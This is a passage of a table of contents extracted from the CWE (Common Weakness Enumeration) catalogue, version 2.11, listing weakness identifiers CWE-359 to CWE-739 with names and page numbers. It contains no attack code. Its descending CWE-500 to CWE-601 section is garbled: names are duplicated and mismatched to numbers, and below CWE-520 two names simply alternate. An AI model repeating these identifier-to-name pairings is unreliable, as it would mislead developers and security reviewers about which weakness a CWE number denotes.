</tr>
</thead>
<tbody>
<tr>
<td>CWE-359: Exposure of Private Information ('Privacy Violation')</td>
<td>623</td>
</tr>
<tr>
<td>CWE-360: Trust of System Event Data</td>
<td>626</td>
</tr>
<tr>
<td>CWE-361: Time and State</td>
<td>627</td>
</tr>
<tr>
<td>CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>628</td>
</tr>
<tr>
<td>CWE-363: Race Condition Enabling Link Following</td>
<td>635</td>
</tr>
<tr>
<td>CWE-364: Signal Handler Race Condition</td>
<td>636</td>
</tr>
<tr>
<td>CWE-365: Race Condition in Switch</td>
<td>640</td>
</tr>
<tr>
<td>CWE-366: Race Condition within a Thread</td>
<td>641</td>
</tr>
<tr>
<td>CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>643</td>
</tr>
<tr>
<td>CWE-368: Context Switching Race Condition</td>
<td>647</td>
</tr>
<tr>
<td>CWE-369: Divide By Zero</td>
<td>648</td>
</tr>
<tr>
<td>CWE-370: Missing Check for Certificate Revocation after Initial Check</td>
<td>650</td>
</tr>
<tr>
<td>CWE-371: State Issues</td>
<td>652</td>
</tr>
<tr>
<td>CWE-372: Incomplete Internal State Distinction</td>
<td>652</td>
</tr>
<tr>
<td>CWE-373: DEPRECATED: State Synchronization Error</td>
<td>653</td>
</tr>
<tr>
<td>CWE-374: Passing Mutable Objects to an Untrusted Method</td>
<td>653</td>
</tr>
<tr>
<td>CWE-375: Returning a Mutable Object to an Untrusted Caller</td>
<td>655</td>
</tr>
<tr>
<td>CWE-376: Temporary File Issues</td>
<td>656</td>
</tr>
<tr>
<td>CWE-377: Insecure Temporary File</td>
<td>657</td>
</tr>
<tr>
<td>CWE-378: Creation of Temporary File With Insecure Permissions</td>
<td>659</td>
</tr>
<tr>
<td>CWE-379: Creation of Temporary File in Directory with Incorrect Permissions</td>
<td>660</td>
</tr>
<tr>
<td>CWE-380: Technology-Specific Time and State Issues</td>
<td>662</td>
</tr>
<tr>
<td>CWE-381: J2EE Time and State Issues</td>
<td>662</td>
</tr>
<tr>
<td>CWE-382: J2EE Bad Practices: Use of System.exit()</td>
<td>662</td>
</tr>
<tr>
<td>CWE-383: J2EE Bad Practices: Direct Use of Threads</td>
<td>664</td>
</tr>
<tr>
<td>CWE-384: Session Fixation</td>
<td>665</td>
</tr>
<tr>
<td>CWE-385: Covert Timing Channel</td>
<td>667</td>
</tr>
<tr>
<td>CWE-386: Symbolic Name not Mapping to Correct Object</td>
<td>668</td>
</tr>
<tr>
<td>CWE-387: Signal Errors</td>
<td>670</td>
</tr>
<tr>
<td>CWE-388: Error Handling</td>
<td>670</td>
</tr>
<tr>
<td>CWE-389: Error Conditions, Return Values, Status Codes</td>
<td>672</td>
</tr>
<tr>
<td>CWE-390: Detection of Error Condition Without Action</td>
<td>673</td>
</tr>
<tr>
<td>CWE-391: Unchecked Error Condition</td>
<td>677</td>
</tr>
<tr>
<td>CWE-392: Missing Report of Error Condition</td>
<td>678</td>
</tr>
<tr>
<td>CWE-393: Return of Wrong Status Code</td>
<td>679</td>
</tr>
<tr>
<td>CWE-394: Unexpected Status Code or Return Value</td>
<td>681</td>
</tr>
<tr>
<td>CWE-395: Use of NullPointerException Catch to Detect NULL Pointer Dereference</td>
<td>681</td>
</tr>
<tr>
<td>CWE-396: Declaration of Catch for Generic Exception</td>
<td>683</td>
</tr>
<tr>
<td>CWE-397: Declaration of Throws for Generic Exception</td>
<td>684</td>
</tr>
<tr>
<td>CWE-398: Indicator of Poor Code Quality</td>
<td>685</td>
</tr>
<tr>
<td>CWE-399: Resource Management Errors</td>
<td>688</td>
</tr>
<tr>
<td>CWE-400: Uncontrolled Resource Consumption ('Resource Exhaustion')</td>
<td>689</td>
</tr>
<tr>
<td>CWE-401: Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td>695</td>
</tr>
<tr>
<td>CWE-402: Transmission of Private Resources into a New Sphere ('Resource Leak')</td>
<td>698</td>
</tr>
<tr>
<td>CWE-403: Exposure of File Descriptor to Untended Control Sphere ('File Descriptor Leak')</td>
<td>698</td>
</tr>
<tr>
<td>CWE-404: Improper Resource Shutdown or Release</td>
<td>700</td>
</tr>
<tr>
<td>CWE-405: Asymmetric Resource Consumption (Amplification)</td>
<td>704</td>
</tr>
<tr>
<td>CWE-406: Insufficient Control of Network Message Volume (Network Amplification)</td>
<td>705</td>
</tr>
<tr>
<td>CWE-407: Algorithmic Complexity</td>
<td>707</td>
</tr>
<tr>
<td>CWE-408: Incorrect Behavior Order: Early Amplification</td>
<td>708</td>
</tr>
<tr>
<td>CWE-409: Improper Handling of Highly Compressed Data (Data Amplification)</td>
<td>709</td>
</tr>
<tr>
<td>CWE-410: Insufficient Resource Pool</td>
<td>710</td>
</tr>
<tr>
<td>CWE-411: Resource Locking Problems</td>
<td>712</td>
</tr>
<tr>
<td>CWE-412: Unrestricted Externally Accessible Lock</td>
<td>712</td>
</tr>
<tr>
<td>CWE-413: Improper Resource Locking</td>
<td>714</td>
</tr>
<tr>
<td>CWE-414: Missing Lock Check</td>
<td>717</td>
</tr>
<tr>
<td>CWE-415: Double Free</td>
<td>718</td>
</tr>
<tr>
<td>CWE-416: Use After Free</td>
<td>720</td>
</tr>
<tr>
<td>CWE-417: Channel and Path Errors</td>
<td>723</td>
</tr>
<tr>
<td>CWE-418: Channel Errors</td>
<td>724</td>
</tr>
<tr>
<td>CWE</td>
<td>Description</td>
</tr>
<tr>
<td>-----</td>
<td>-----------------------------------------------------------------------------</td>
</tr>
<tr>
<td>CWE-419</td>
<td>Unprotected Primary Channel</td>
</tr>
<tr>
<td>CWE-420</td>
<td>Unprotected Alternate Channel</td>
</tr>
<tr>
<td>CWE-421</td>
<td>Race Condition During Access to Alternate Channel ('Shatter')</td>
</tr>
<tr>
<td>CWE-422</td>
<td>Unprotected Windows Messaging Channel ('Shatter')</td>
</tr>
<tr>
<td>CWE-423</td>
<td>DEPRECATED (Duplicate): Proxyed Trusted Channel</td>
</tr>
<tr>
<td>CWE-424</td>
<td>Improper Protection of Alternate Path</td>
</tr>
<tr>
<td>CWE-425</td>
<td>Direct Request ('Forced Browsing')</td>
</tr>
<tr>
<td>CWE-426</td>
<td>Untrusted Search Path</td>
</tr>
<tr>
<td>CWE-427</td>
<td>Uncontrolled Search Path Element</td>
</tr>
<tr>
<td>CWE-428</td>
<td>Unquoted Search Path or Element</td>
</tr>
<tr>
<td>CWE-429</td>
<td>Handler Errors</td>
</tr>
<tr>
<td>CWE-430</td>
<td>Deployment of Wrong Handler</td>
</tr>
<tr>
<td>CWE-431</td>
<td>Missing Handler</td>
</tr>
<tr>
<td>CWE-432</td>
<td>Dangerous Signal Handler not Disabled During Sensitive Operations</td>
</tr>
<tr>
<td>CWE-433</td>
<td>Unparsed Raw Web Content Delivery</td>
</tr>
<tr>
<td>CWE-434</td>
<td>Unrestricted Upload of File with Dangerous Type</td>
</tr>
<tr>
<td>CWE-435</td>
<td>Interaction Error</td>
</tr>
<tr>
<td>CWE-436</td>
<td>Interpretation Conflict</td>
</tr>
<tr>
<td>CWE-437</td>
<td>Incomplete Model of Endpoint Features</td>
</tr>
<tr>
<td>CWE-438</td>
<td>Behavioral Problems</td>
</tr>
<tr>
<td>CWE-439</td>
<td>Behavioral Change in New Version or Environment</td>
</tr>
<tr>
<td>CWE-440</td>
<td>Expected Behavior Violation</td>
</tr>
<tr>
<td>CWE-441</td>
<td>Unintended Proxy or Intermediary ('Confused Deputy')</td>
</tr>
<tr>
<td>CWE-442</td>
<td>Web Problems</td>
</tr>
<tr>
<td>CWE-443</td>
<td>DEPRECATED (Duplicate): HTTP response splitting</td>
</tr>
<tr>
<td>CWE-444</td>
<td>Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')</td>
</tr>
<tr>
<td>CWE-445</td>
<td>DEPRECATED: User Interface Errors</td>
</tr>
<tr>
<td>CWE-446</td>
<td>UI Discrepancy for Security Feature</td>
</tr>
<tr>
<td>CWE-447</td>
<td>Unimplemented or Unsupported Feature in UI</td>
</tr>
<tr>
<td>CWE-448</td>
<td>Obsolete Feature in UI</td>
</tr>
<tr>
<td>CWE-449</td>
<td>The UI Performs the Wrong Action</td>
</tr>
<tr>
<td>CWE-450</td>
<td>Multiple Interpretations of UI Input</td>
</tr>
<tr>
<td>CWE-451</td>
<td>User Interface (UI) Misrepresentation of Critical Information</td>
</tr>
<tr>
<td>CWE-452</td>
<td>Initialization and Cleanup Errors</td>
</tr>
<tr>
<td>CWE-453</td>
<td>Insecure Default Variable Initialization</td>
</tr>
<tr>
<td>CWE-454</td>
<td>External Initialization of Trusted Variables or Data Stores</td>
</tr>
<tr>
<td>CWE-455</td>
<td>Non-exit on Failed Initialization</td>
</tr>
<tr>
<td>CWE-456</td>
<td>Missing Initialization of a Variable</td>
</tr>
<tr>
<td>CWE-457</td>
<td>Use of Uninitialized Variable</td>
</tr>
<tr>
<td>CWE-458</td>
<td>DEPRECATED: Incorrect Initialization</td>
</tr>
<tr>
<td>CWE-459</td>
<td>Incomplete Cleanup</td>
</tr>
<tr>
<td>CWE-460</td>
<td>Improper Cleanup on Thrown Exception</td>
</tr>
<tr>
<td>CWE-461</td>
<td>Data Structure Issues</td>
</tr>
<tr>
<td>CWE-462</td>
<td>Duplicate Key in Associative List (Alist)</td>
</tr>
<tr>
<td>CWE-463</td>
<td>Deletion of Data Structure Sentinel</td>
</tr>
<tr>
<td>CWE-464</td>
<td>Addition of Data Structure Sentinel</td>
</tr>
<tr>
<td>CWE-465</td>
<td>Pointer Issues</td>
</tr>
<tr>
<td>CWE-466</td>
<td>Return of Pointer Value Outside of Expected Range</td>
</tr>
<tr>
<td>CWE-467</td>
<td>Use of sizeof() on a Pointer Type</td>
</tr>
<tr>
<td>CWE-468</td>
<td>Incorrect Pointer Scaling</td>
</tr>
<tr>
<td>CWE-469</td>
<td>Use of Pointer Subtraction to Determine Size</td>
</tr>
<tr>
<td>CWE-470</td>
<td>Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')</td>
</tr>
<tr>
<td>CWE-471</td>
<td>Modification of Assumed-Immutable Data (MAID)</td>
</tr>
<tr>
<td>CWE-472</td>
<td>External Control of Assumed-Immutable Web Parameter</td>
</tr>
<tr>
<td>CWE-473</td>
<td>PHP External Variable Modification</td>
</tr>
<tr>
<td>CWE-474</td>
<td>Use of Function with Inconsistent Implementations</td>
</tr>
<tr>
<td>CWE-475</td>
<td>Undefined Behavior for Input to API</td>
</tr>
<tr>
<td>CWE-476</td>
<td>NULL Pointer Dereference</td>
</tr>
<tr>
<td>CWE-477</td>
<td>Use of Obsolete Functions</td>
</tr>
<tr>
<td>CWE-478</td>
<td>Missing Default Case in Switch Statement</td>
</tr>
<tr>
<td>CWE-479</td>
<td>Signal Handler Use of a Non-reentrant Function</td>
</tr>
</tbody>
</table>
CWE Version 2.11

<table>
<thead>
<tr>
<th>Table of Contents</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-601: URL Redirection to Untrusted Site ('Open Redirect')</td>
</tr>
<tr>
<td>CWE-600: Uncaught Exception in Servlet</td>
</tr>
<tr>
<td>CWE-599: Missing Validation of OpenSSL Certificate</td>
</tr>
<tr>
<td>CWE-598: Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td>CWE-597: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-596: Incorrect Semantic Object Comparison</td>
</tr>
<tr>
<td>CWE-595: Comparison of Object References Instead of Object Contents</td>
</tr>
<tr>
<td>CWE-594: J2EE Framework: Saving Unserializable Objects to Disk</td>
</tr>
<tr>
<td>CWE-592: DEPRECATED: Authentication Bypass Issues</td>
</tr>
<tr>
<td>CWE-591: Sensitive Data Storage in Improperly Locked Memory</td>
</tr>
<tr>
<td>CWE-590: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-587: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-586: Explicit Call to Finalize()</td>
</tr>
<tr>
<td>CWE-585: Empty Synchronized Block</td>
</tr>
<tr>
<td>CWE-584: Return Inside Finally Block</td>
</tr>
<tr>
<td>CWE-583: finalize() Method Declared Public</td>
</tr>
<tr>
<td>CWE-582: Array Declared Public, Final, and Static</td>
</tr>
<tr>
<td>CWE-581: Sensitive Data Storage in Improperly Locked Memory</td>
</tr>
<tr>
<td>CWE-580: clone() Method Without super.clone()</td>
</tr>
<tr>
<td>CWE-580: clone() Method Declared Public</td>
</tr>
<tr>
<td>CWE-579: J2EE Bad Practices: Non-serializable Object Stored in Session</td>
</tr>
<tr>
<td>CWE-578: EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>CWE-577: EJB Bad Practices: Use of Sockets</td>
</tr>
<tr>
<td>CWE-576: EJB Bad Practices: Use of Java I/O</td>
</tr>
<tr>
<td>CWE-575: EJB Bad Practices: Use of AWT Swing</td>
</tr>
<tr>
<td>CWE-574: EJB Bad Practices: Use of Synchronization Primitives</td>
</tr>
<tr>
<td>CWE-573: Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>CWE-572: Call to Thread run() instead of start()</td>
</tr>
<tr>
<td>CWE-571: Expression is Always True</td>
</tr>
<tr>
<td>CWE-570: Expression is Always False</td>
</tr>
<tr>
<td>CWE-569: clone() Method Without super.clone()</td>
</tr>
<tr>
<td>CWE-568: finalize() Method Without super.finalize()</td>
</tr>
<tr>
<td>CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context</td>
</tr>
<tr>
<td>CWE-566: Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td>CWE-565: Reliance on Cookies without Validation and Integrity Checking</td>
</tr>
<tr>
<td>CWE-564: SQL injection: Hibernate</td>
</tr>
<tr>
<td>CWE-563: Assignment to Variable without Use ('Unused Variable')</td>
</tr>
<tr>
<td>CWE-562: Return of Stack Variable Address</td>
</tr>
<tr>
<td>CWE-561: Dead Code</td>
</tr>
<tr>
<td>CWE-560: Use of umask() with chmod-style Argument</td>
</tr>
<tr>
<td>CWE-559: Often Misused: Arguments and Parameters</td>
</tr>
<tr>
<td>CWE-558: Use of getlogin() in Multithreaded Application</td>
</tr>
<tr>
<td>CWE-557: Concurrency Issues</td>
</tr>
<tr>
<td>CWE-556: ASP.NET Misconfiguration: Use of Identity Impersonation</td>
</tr>
<tr>
<td>CWE-555: J2EE Misconfiguration: Plaintext Password in Configuration File</td>
</tr>
<tr>
<td>CWE-554: ASP.NET Misconfiguration: Not Using Input Validation Framework</td>
</tr>
<tr>
<td>CWE-553: Command Shell in Externally Accessible Directory</td>
</tr>
<tr>
<td>CWE-552: Files or Directories Accessible to External Parties</td>
</tr>
<tr>
<td>CWE-551: Incorrect Behavior Order: Authorization Before Parsing and Canonicalization</td>
</tr>
<tr>
<td>CWE-550: Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td>CWE-549: Missing Password Field Masking</td>
</tr>
<tr>
<td>CWE-548: Information Exposure Through Directory Listing</td>
</tr>
<tr>
<td>CWE-547: Use of Hard-coded, Security-relevant Constants</td>
</tr>
<tr>
<td>CWE-546: Suspicious Comment</td>
</tr>
<tr>
<td>CWE-545: DEPRECATED: Use of Dynamic Class Loading</td>
</tr>
<tr>
<td>CWE-544: Missing Standardized Error Handling Mechanism</td>
</tr>
<tr>
<td>CWE-543: Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td>CWE-542: Information Exposure Through Cleanup Log Files</td>
</tr>
<tr>
<td>CWE-541: Information Exposure Through Include Source Code</td>
</tr>
<tr>
<td>CWE-540: Use of Hard-coded, Security-relevant Constants</td>
</tr>
<tr>
<td>CWE-539: Use of Singleton Pattern Without Synchronization in a Multithreaded Context</td>
</tr>
<tr>
<td>CWE-538: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-537: Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>CWE-536: Expression is Always True</td>
</tr>
<tr>
<td>CWE-535: Expression is Always False</td>
</tr>
<tr>
<td>CWE-534: Expression Issues</td>
</tr>
<tr>
<td>CWE-533: Authorization Bypass Through User-Controlled SQL Primary Key</td>
</tr>
<tr>
<td>CWE-532: Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td>CWE-531: Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>CWE-530: Uncaught Exception in Servlet</td>
</tr>
<tr>
<td>CWE-529: Information Exposure Through Query Strings in GET Request</td>
</tr>
<tr>
<td>CWE-528: Information Exposure Through Directory Listing</td>
</tr>
<tr>
<td>CWE-527: Concurrency Issues</td>
</tr>
<tr>
<td>CWE-526: Information Exposure Through Server Error Message</td>
</tr>
<tr>
<td>CWE-525: EJB Bad Practices: Use of Class Loader</td>
</tr>
<tr>
<td>CWE-524: Improper Following of Specification by Caller</td>
</tr>
<tr>
<td>CWE-523: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-522: Call to Thread run() instead of start()</td>
</tr>
<tr>
<td>CWE-521: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-520: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-519: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-518: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-517: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-516: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-515: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-514: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-513: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-512: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-511: Use of Wrong Operator in String Comparison</td>
</tr>
<tr>
<td>CWE-510: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-509: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-508: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-507: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-506: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-505: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-504: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-503: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-502: Free of Memory not on the Heap</td>
</tr>
<tr>
<td>CWE-501: Assignment of a Fixed Address to a Pointer</td>
</tr>
<tr>
<td>CWE-500: Free of Memory not on the Heap</td>
</tr>
</tbody>
</table>
CWE-602: Client-Side Enforcement of Server-Side Security

CWE-603: Use of Client-Side Authentication

CWE-604: Deprecated Entries

CWE-605: Multiple Binds to the Same Port

CWE-606: Unchecked Input for Loop Condition

CWE-607: Public Static Final Field References Mutable Object

CWE-608: Struts: Non-private Field in ActionForm Class

CWE-609: Double-Checked Locking

CWE-610: Externally Controlled Reference to a Resource in Another Sphere

CWE-611: Improper Restriction of XML External Entity Reference ('XXE')

CWE-612: Information Exposure Through Indexing of Private Data

CWE-613: Insufficient Session Expiration

CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute

CWE-615: Information Exposure Through Comments

CWE-616: Incomplete Identification of Uploaded File Variables (PHP)

CWE-617: Reachable Assertion

CWE-618: Exposed Unsafe ActiveX Method

CWE-619: Dangling Database Cursor ('Cursor Injection')

CWE-620: Unverified Password Change

CWE-621: Variable Extraction Error

CWE-622: Improper Validation of Function Hook Arguments

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

CWE-624: Executable Regular Expression Error

CWE-625: Permissive Regular Expression

CWE-626: Null Byte Interaction Error (Poison Null Byte)

CWE-627: Dynamic Variable Evaluation

CWE-628: Function Call with Incorrectly Specified Arguments

CWE-629: Weaknesses in OWASP Top Ten (2007)

CWE-630: Weaknesses Examined by SAMATE

CWE-631: Resource-specific Weaknesses

CWE-632: Weaknesses that Affect Files or Directories

CWE-633: Weaknesses that Affect Memory

CWE-634: Weaknesses that Affect System Processes

CWE-635: Weaknesses Used by NVD

CWE-636: Not Failing Securely ('Failing Open')

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

CWE-638: Not Using Complete Mediation

CWE-639: Authorization Bypass Through User-Controlled Key

CWE-640: Weak Password Recovery Mechanism for Forgotten Password

CWE-641: Improper Restriction of Names for Files and Other Resources

CWE-642: External Control of Critical State Data

CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')

CWE-644: Improper Neutralization of HTTP Headers for Scripting Syntax

CWE-645: Overly Restrictive Account Lockout Mechanism

CWE-646: Reliance on File Name or Extension of Externally-Supplied File

CWE-647: Use of Non-Canonical URL Paths for Authorization Decisions

CWE-648: Incorrect Use of Privileged APIs

CWE-649: Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking

CWE-650: Trusting HTTP Permission Methods on the Server Side

CWE-651: Information Exposure Through WSDL File

CWE-652: Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')

CWE-653: Insufficient Compartmentalization

CWE-654: Reliance on a Single Factor in a Security Decision

CWE-655: Insufficient Psychological Acceptability

CWE-656: Reliance on Security Through Obscurity

CWE-657: Violation of Secure Design Principles

CWE-658: Weaknesses in Software Written in C

CWE-659: Weaknesses in Software Written in C++

CWE-660: Weaknesses in Software Written in Java

CWE-661: Weaknesses in Software Written in PHP

CWE-662: Improper Synchronization
<table>
<thead>
<tr>
<th>CWE</th>
<th>Description</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>CWE-663</td>
<td>Use of a Non-reentrant Function in a Concurrent Context</td>
<td>1027</td>
</tr>
<tr>
<td>CWE-664</td>
<td>Improper Control of a Resource Through its Lifetime</td>
<td>1028</td>
</tr>
<tr>
<td>CWE-665</td>
<td>Improper Initialization</td>
<td>1029</td>
</tr>
<tr>
<td>CWE-666</td>
<td>Operation on Resource in Wrong Phase of Lifetime</td>
<td>1033</td>
</tr>
<tr>
<td>CWE-667</td>
<td>Improper Locking</td>
<td>1034</td>
</tr>
<tr>
<td>CWE-668</td>
<td>Exposure of Resource to Wrong Sphere</td>
<td>1037</td>
</tr>
<tr>
<td>CWE-669</td>
<td>Incorrect Resource Transfer Between Spheres</td>
<td>1039</td>
</tr>
<tr>
<td>CWE-670</td>
<td>Always-Incorrect Control Flow Implementation</td>
<td>1040</td>
</tr>
<tr>
<td>CWE-671</td>
<td>Lack of Administrator Control over Security</td>
<td>1040</td>
</tr>
<tr>
<td>CWE-672</td>
<td>Operation on a Resource after Expiration or Release</td>
<td>1041</td>
</tr>
<tr>
<td>CWE-673</td>
<td>External Influence of Sphere Definition</td>
<td>1043</td>
</tr>
<tr>
<td>CWE-674</td>
<td>Uncontrolled Recursion</td>
<td>1044</td>
</tr>
<tr>
<td>CWE-675</td>
<td>Duplicate Operations on Resource</td>
<td>1045</td>
</tr>
<tr>
<td>CWE-676</td>
<td>Use of Potentially Dangerous Function</td>
<td>1046</td>
</tr>
<tr>
<td>CWE-677</td>
<td>Weakness Base Elements</td>
<td>1049</td>
</tr>
<tr>
<td>CWE-678</td>
<td>Composites</td>
<td>1056</td>
</tr>
<tr>
<td>CWE-679</td>
<td>Chain Elements</td>
<td>1056</td>
</tr>
<tr>
<td>CWE-680</td>
<td>Integer Overflow to Buffer Overflow</td>
<td>1059</td>
</tr>
<tr>
<td>CWE-681</td>
<td>Incorrect Conversion between Numeric Types</td>
<td>1060</td>
</tr>
<tr>
<td>CWE-682</td>
<td>Incorrect Calculation</td>
<td>1063</td>
</tr>
<tr>
<td>CWE-683</td>
<td>Function Call With Incorrect Order of Arguments</td>
<td>1066</td>
</tr>
<tr>
<td>CWE-684</td>
<td>Incorrect Provision of Specified Functionality</td>
<td>1067</td>
</tr>
<tr>
<td>CWE-685</td>
<td>Function Call With Incorrect Number of Arguments</td>
<td>1068</td>
</tr>
<tr>
<td>CWE-686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>1069</td>
</tr>
<tr>
<td>CWE-687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
<td>1070</td>
</tr>
<tr>
<td>CWE-688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
<td>1071</td>
</tr>
<tr>
<td>CWE-689</td>
<td>Permission Race Condition During Resource Copy</td>
<td>1072</td>
</tr>
<tr>
<td>CWE-690</td>
<td>Unchecked Return Value to NULL Pointer Dereference</td>
<td>1073</td>
</tr>
<tr>
<td>CWE-691</td>
<td>Insufficient Control Flow Management</td>
<td>1075</td>
</tr>
<tr>
<td>CWE-692</td>
<td>Incomplete Blacklist to Cross-Site Scripting</td>
<td>1076</td>
</tr>
<tr>
<td>CWE-693</td>
<td>Protection Mechanism Failure</td>
<td>1077</td>
</tr>
<tr>
<td>CWE-694</td>
<td>Use of Multiple Resources with Duplicate Identifier</td>
<td>1078</td>
</tr>
<tr>
<td>CWE-695</td>
<td>Use of Low-Level Functionality</td>
<td>1079</td>
</tr>
<tr>
<td>CWE-696</td>
<td>Incorrect Behavior Order</td>
<td>1080</td>
</tr>
<tr>
<td>CWE-697</td>
<td>Insufficient Comparison</td>
<td>1081</td>
</tr>
<tr>
<td>CWE-698</td>
<td>Execution After Redirect (EAR)</td>
<td>1082</td>
</tr>
<tr>
<td>CWE-699</td>
<td>Development Concepts</td>
<td>1083</td>
</tr>
<tr>
<td>CWE-700</td>
<td>Seven Pernicious Kingdoms</td>
<td>1084</td>
</tr>
<tr>
<td>CWE-701</td>
<td>Weaknesses Introduced During Design</td>
<td>1085</td>
</tr>
<tr>
<td>CWE-702</td>
<td>Weaknesses Introduced During Implementation</td>
<td>1093</td>
</tr>
<tr>
<td>CWE-703</td>
<td>Improper Check or Handling of Exceptional Conditions</td>
<td>1105</td>
</tr>
<tr>
<td>CWE-704</td>
<td>Incorrect Type Conversion or Cast</td>
<td>1107</td>
</tr>
<tr>
<td>CWE-705</td>
<td>Incorrect Control Flow Scoping</td>
<td>1108</td>
</tr>
<tr>
<td>CWE-706</td>
<td>Use of Incorrectly-Resolved Name or Reference</td>
<td>1109</td>
</tr>
<tr>
<td>CWE-707</td>
<td>Improper Enforcement of Message or Data Structure</td>
<td>1110</td>
</tr>
<tr>
<td>CWE-708</td>
<td>Incorrect Ownership Assignment</td>
<td>1111</td>
</tr>
<tr>
<td>CWE-709</td>
<td>Named Chains</td>
<td>1112</td>
</tr>
<tr>
<td>CWE-710</td>
<td>Coding Standards Violation</td>
<td>1112</td>
</tr>
<tr>
<td>CWE-711</td>
<td>Weaknesses in OWASP Top Ten (2004)</td>
<td>1113</td>
</tr>
<tr>
<td>CWE-712</td>
<td>OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)</td>
<td>1114</td>
</tr>
<tr>
<td>CWE-713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
<td>1115</td>
</tr>
<tr>
<td>CWE-714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>1115</td>
</tr>
<tr>
<td>CWE-715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference</td>
<td>1116</td>
</tr>
<tr>
<td>CWE-716</td>
<td>OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)</td>
<td>1116</td>
</tr>
<tr>
<td>CWE-717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>1116</td>
</tr>
<tr>
<td>CWE-718</td>
<td>OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management</td>
<td>1117</td>
</tr>
<tr>
<td>CWE-719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>1117</td>
</tr>
<tr>
<td>CWE-720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td>1118</td>
</tr>
<tr>
<td>CWE-721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
<td>1118</td>
</tr>
<tr>
<td>CWE-722</td>
<td>OWASP Top Ten 2004 Category A1 - Unvalidated Input</td>
<td>1118</td>
</tr>
<tr>
<td>CWE-723</td>
<td>OWASP Top Ten 2004 Category A2 - Broken Access Control</td>
<td>1119</td>
</tr>
</tbody>
</table>
CWE-724: OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management......... 1120
CWE-725: OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws.......................... 1121
CWE-726: OWASP Top Ten 2004 Category A5 - Buffer Overflows.................................................. 1121
CWE-727: OWASP Top Ten 2004 Category A6 - Injection Flaws..................................................... 1121
CWE-728: OWASP Top Ten 2004 Category A7 - Improper Error Handling..................................... 1122
CWE-729: OWASP Top Ten 2004 Category A8 - Insecure Storage.................................................. 1122
CWE-730: OWASP Top Ten 2004 Category A9 - Denial of Service.................................................. 1123
CWE-731: OWASP Top Ten 2004 Category A10 - Insecure Configuration Management..................... 1123
CWE-732: Incorrect Permission Assignment for Critical Resource............................................... 1124
CWE-733: Compiler Optimization Removal or Modification of Security-critical Code.......................... 1131
CWE-734: Weaknesses Addressed by the CERT C Secure Coding Standard................................. 1132
CWE-735: CERT C Secure Coding Section 01 - Preprocessor (PRE).................................................. 1133
CWE-736: CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)....................... 1134
CWE-737: CERT C Secure Coding Section 03 - Expressions (EXP)............................................... 1134
CWE-738: CERT C Secure Coding Section 04 - Integers (INT)...................................................... 1135
CWE-739: CERT C Secure Coding Section 05 - Floating Point (FLP).................................................. 1135
